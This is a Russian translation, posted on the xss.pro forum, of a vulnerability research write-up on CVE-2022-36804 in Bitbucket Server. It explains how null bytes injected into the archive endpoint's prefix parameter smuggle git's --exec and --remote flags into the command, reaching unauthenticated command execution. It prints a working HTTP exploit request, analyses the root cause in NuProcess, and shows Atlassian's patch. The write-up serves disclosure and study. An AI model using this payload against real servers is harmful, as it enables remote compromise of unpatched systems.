ОРИГИНАЛЬНАЯ СТАТЬЯ
ПЕРЕВЕДЕНО СПЕЦИАЛЬНО ДЛЯ xss.pro
$600 на SSD для Solidity hacking by Jolah Milovsky---> 0x5B1f2Ac9cF5616D9d7F1819d1519912e85eb5C09
Введение
Часто при проведении исследований безопасности приложений мы сталкиваемся с другими исследователями, которые нашли критические уязвимости в программном обеспечении, что может вдохновить нас на более глубокие исследования. Так и произошло, когда мы прочитали сообщение в блоге Уильяма Боулинга об обнаружении RCE в GitHub Enterprise.
После прочтения этого сообщения нам стало интересно, можно ли повторить эту методику обнаружения выполнения команд на других платформах управления исходным кодом.
Мы решили, что хорошей мишенью для этого исследования станет Bitbucket Server, который обычно развертывается на месте и, очевидно, использует git для многих операций внутри программного обеспечения. Мы обнаружили уязвимость инъекции аргументов, которая в конечном итоге позволила нам выполнить произвольные команды через аргумент --exec для git. Эта уязвимость стала возможной из-за того, как базовая библиотека создания процессов обрабатывала нулевые байты. Все версии Bitbucket Server и Datacenter, выпущенные после 6.10.17, включая 7.0.0 и новее, подвержены этой уязвимости, что означает, что все экземпляры, работающие на любых версиях между 7.0.0 и 8.3.0 включительно, подвержены этой уязвимости. Уязвимость была оперативно устранена компанией Atlassian, в результате чего был выпущен CVE-2022-36804.
Методология
Чтобы получить среду, в которой мы могли бы провести исследование безопасности, мы создали контейнер docker, в котором был запущен Bitbucket Server, используя предварительно подготовленный образ из Docker Hub. После настройки локальной среды мы смогли использовать pspy для регистрации всех созданных процессов, с конкретной целью - просмотреть все поглотители команды git. Пока работал pspy, мы параллельно выполняли ряд действий в Bitbucket, которые, как мы надеялись, каким-то образом вызовут команду git. Мы создали репозиторий как пользователь, чтобы создать тестовую площадку для будущих вызовов, которые, возможно, будут обращаться к git. Чтобы найти места, где команда git выполнялась вместе с пользовательским вводом, мы начали заменять все запросы, связанные с созданным репозиторием, канареечной строкой, т.е. PEWPEW, чтобы определить, попадает ли она в конечную выполненную команду.
Это было относительно просто с помощью pspy, который регистрировал каждую команду, выполняемую процессом. Мы провели небольшое тестирование, и нам удалось обнаружить инъекцию аргумента в подкоманде git, однако это не повлияло на безопасность (/rest/api/latest/projects/~USER/repos/repo1/browse?at=--help). Это было многообещающе, однако мы пока не нашли ничего, что могло бы повлиять на безопасность, и отложили проект на более поздний срок. Вновь взявшись за проект, мы начали выполнять ту же методику и наткнулись на ошибку выполнения команды при просмотре конечных точек API для Bitbucket, в частности, конечной точки, расположенной по адресу /rest/api/latest/projects/PROJECTKEY/repos/REPO/archive. Эта конечная точка API отвечает за потоковую передачу архива содержимого репозитория при запрошенном коммите. Изучая документацию по API для этой конечной точки, мы заметили, что там есть параметр prefix, который, как мы предположили, соответствует параметру git --prefix= в подкоманде archive. Это показалось нам идеальным кандидатом для тестирования нашего метода инъекции аргументов. Чтобы ввести новый аргумент, мы инстинктивно попробовали использовать нулевые байты, и, к нашему удивлению, при вводе padding%00--option%00padding появилась ошибка с сообщением --option не является опцией для git subcmd. Мы поняли, что наша инъекция аргументов была успешной, благодаря полученному сообщению об ошибке.
Эксплуатация
Хотя было удивительно обнаружить инъекцию аргументов, естественно, возник вопрос: что теперь? Это здорово, что мы можем вводить аргументы, но можем ли мы довести это до удаленного выполнения команд?
Оказалось, что это возможно благодаря функциям, присутствующим в подкоманде git archive, а именно аргументу --exec, который в документации Git'а определяется следующим образом:
Код:
--exec=<git-upload-archive>
Used with --remote to specify the path to the git-upload-archive on the remote side.
На первый взгляд может показаться, что команда выполняет произвольную команду, поскольку она ожидает путь к git-upload-archive, кроме того, этот аргумент также требует указать --remote, который обычно представляет собой удаленный SSH-репозиторий.
Мы протестировали эту команду локально и обнаружили, что, выполнив следующую команду:
Код:
git archive --prefix xd --exec='echo pew#' --remote=file:///tmp/ -- blah
Это преобразуется в следующее:
Код:
execve('/bin/sh','-c','echo pew# /tmp')
Поскольку такое поведение было описано выше, все, что оставалось сделать, это создать полезную нагрузку для конечной точки API архива в Bitbucket. Мы могли использовать инъекцию аргументов и злоупотреблять поведением Git'а для флагов --exec и --remote внутри подкоманды archive, чтобы в итоге добиться удаленного выполнения команды, даже не будучи аутентифицированным в Bitbucket.
Конечная полезная нагрузка:
Код:
GET /rest/api/latest/projects/{projectKey}/repos/{repoSlug}/archive?prefix=x%00--exec=/bin/bash+-c+'touch+/tmp/haced%23'%00--remote=file:///%00x HTTP/1.1
Хост: bitbucket.demo
User-Agent: HACKZ
Content-Length: 3
xxd
Хотя эта уязвимость может быть использована до аутентификации, необходимо, чтобы в экземпляре Bitbucket Server существовал публичный репозиторий, и вы также должны знать переменные projectKey и repoSlug. Без этих предварительных условий невозможно использовать данную уязвимость без аутентификации.
Но почему это работает?
При проведении исследований в области безопасности иногда приходится сталкиваться с ситуацией, когда та или иная техника привела к уязвимости, но крайне важно понять, почему эта техника сработала в первую очередь. В данном случае анализ первопричины уязвимости был необходим, чтобы понять, почему нулевые байты позволили нам ввести новые аргументы в подкоманду git archive. Мы начали с обратной разработки патча Atlassian и заметили, что Atlassian исправила ошибку, проверив нулевые байты во всех индексах аргумента команды, передаваемого классу com.zaxxer.nuprocess.NuProcessBuilder. Это была важная подсказка, поскольку она позволяла предположить, что этот класс мог быть ответственен за разделение команды через нулевые байты.
Прочитав класс com.zaxxer.nuprocess.NuProcessBuilder, мы смогли подтвердить первоначальную гипотезу о том, почему %00 сработал. Оказалось, что com.zaxxer.nuprocess не использует ProcessBuilder или getRuntime().exec, а использует родной Java_java_lang_ProcessImpl_forkAndExec, который требует char массив в качестве аргумента команды. Индексы внутри char-массивов разделяются нулевыми байтами, и благодаря тому, как функция prepareProcess преобразовывала аргументы, мы смогли создать новые индексы в этом char-массиве, вставив нулевые байты.
Чтобы представить, что происходит, когда мы предоставляем пользовательский ввод с нулевыми байтами, вы можете увидеть поток ниже.
Массив string в массив char + VULN:
Код:
\x00 = {NULL}
["ONE","TWO","THREE","FOUR"] -> conv() (prepareProcess) -> "ONE{NULL}TWO{NULL}THREE{NULL}FOUR"
["git","sub","--safe=xyz","--other"] -> conv() (prepareProcess) -> "git{NULL}sub{NULL}--safe=xyz{NULL}--other"
exploited
["git","sub","--safe=xyz{NULL}--injected","--other"] -> conv() (prepareProcess) -> "git{NULL}sub{NULL}--safe=xyz{NULL}--injected{NULL}--other"
Уязвимый код, а именно функцию prepareProcess, вы можете прочитать ниже:
Код:
private void prepareProcess(List < String > command, String[] environment, Path cwd) throws IOException {
String[] cmdarray = command.toArray(new String[0]);
// See https://github.com/JetBrains/jdk8u_jdk/blob/master/src/solaris/classes/java/lang/ProcessImpl.java#L71-L83
byte[][] args = new byte[cmdarray.length - 1][];
int size = args.length; // For added NUL bytes
for (int i = 0; i < args.length; i++) {
args[i] = cmdarray[i + 1].getBytes();
size += args[i].length;
}
byte[] argBlock = new byte[size];
int i = 0;
for (byte[] arg: args) {
System.arraycopy(arg, 0, argBlock, i, arg.length);
i += arg.length + 1;
// No need to write NUL bytes explicitly
}
// See https://github.com/JetBrains/jdk8u_jdk/blob/master/src/solaris/classes/java/lang/ProcessImpl.java#L86
byte[] envBlock = toEnvironmentBlock(environment);
createPipes();
try {
// createPipes() returns the parent ends of the pipes, but forkAndExec requires the child ends
int[] child_fds = {
stdinWidow,
stdoutWidow,
stderrWidow
};
if (JVM_MAJOR_VERSION >= 10) {
pid = com.zaxxer.nuprocess.internal.LibJava10.Java_java_lang_ProcessImpl_forkAndExec(
JNIEnv.CURRENT,
this,
LaunchMechanism.VFORK.ordinal() + 1,
toCString(System.getProperty("java.home") + "/lib/jspawnhelper"), // used on Linux
toCString(cmdarray[0]),
argBlock, args.length,
envBlock, environment.length,
(cwd != null ? toCString(cwd.toString()) : null),
child_fds,
(byte) 0 /*redirectErrorStream*/ );
} else {
// See https://github.com/JetBrains/jdk8u_jdk/blob/master/src/solaris/classes/java/lang/UNIXProcess.java#L247
// Native source code: https://github.com/JetBrains/jdk8u_jdk/blob/master/src/solaris/native/java/lang/UNIXProcess_md.c#L566
pid = com.zaxxer.nuprocess.internal.LibJava8.Java_java_lang_UNIXProcess_forkAndExec(
JNIEnv.CURRENT,
this,
LaunchMechanism.VFORK.ordinal() + 1,
toCString(System.getProperty("java.home") + "/lib/jspawnhelper"), // used on Linux
toCString(cmdarray[0]),
argBlock, args.length,
envBlock, environment.length,
(cwd != null ? toCString(cwd.toString()) : null),
child_fds,
(byte) 0 /*redirectErrorStream*/ );
}
} finally {
// If we call createPipes, even if launching the process then fails, we need to ensure
// the child side of the pipes are closed. The parent side will be closed in onExit
closePipes();
}
}
Патч от Atlassian, устраняющий эту уязвимость, можно найти ниже:
Код:
private void ensureNoNullCharacters(final List<String> commands) {
for (final String command : commands) {
if (command.indexOf(0) >= 0) {
throw new IllegalArgumentException("Commands may not contain null characters");
}
}
}
Вывод
При проведении исследований в области безопасности важно понимать некоторые методологии, которые привели к обнаружению критических уязвимостей в другом корпоративном программном обеспечении.
Применяя эти методологии к различному программному обеспечению, вы часто можете обнаружить схожие критические уязвимости.
Благодаря тому, что нас вдохновила запись в блоге Уильяма Боулинга и мы приняли аналогичную методологию, мы смогли обнаружить критическую уязвимость удаленного выполнения команд перед аутентификацией в Bitbucket Server.